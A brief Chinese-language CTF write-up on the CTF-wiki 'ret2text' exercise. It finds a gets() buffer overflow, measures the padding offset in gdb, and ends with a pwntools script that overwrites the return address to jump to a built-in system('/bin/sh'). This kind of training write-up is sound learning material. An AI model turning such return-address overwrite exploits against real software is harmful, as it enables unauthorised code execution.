[WP]CTFwiki-ret2text

1.首先运行一下程序

2.简单地检查一下程序,32位程序,开启了部分Relro保护,有NX保护(其实并没有什么影响)

 

3.观察 main 函数不难发现是通过 gets() 函数输入来覆盖返回值。

 4.在 ida 里发现有 system("/bin/sh") 的代码,这样其实我们以及可以构造 exp 了,现在只需要测出覆盖长度即可

 

 

5.载入 gdb 中在 call gets 处下一个断点,之后查看寄存器(不同系统可能有所不同)

EBP: 0xffffd168 --> 0x0 
ESP: 0xffffd0e0 --> 0xffffd0fc --> 0xf7ffd000 --> 0x26f34 

  

  

6. 0x168 - 0xfc = 0x6c,之后可以写 exp 了

#!/usr/bin/env python
from pwn import *

#EBP = 0xffffd168
#ESP = 0xffffd0e0 -> 0xffffd0fc -> 0xf7ffd000 -> 0x26f34
#padding_num1 = d168 - d0fc = 0x6c
#padding_num2 = 4               (32-bit)
p = process('./ret2text')
bin_sh_addr = 0x804863A
payload = 'a' * (0x6c + 0x4) + p32(bin_sh_addr)
p.recvuntil('thing?')
p.sendline(payload)
p.interactive()

原文地址:https://www.cnblogs.com/Tsuiyields/p/11874933.html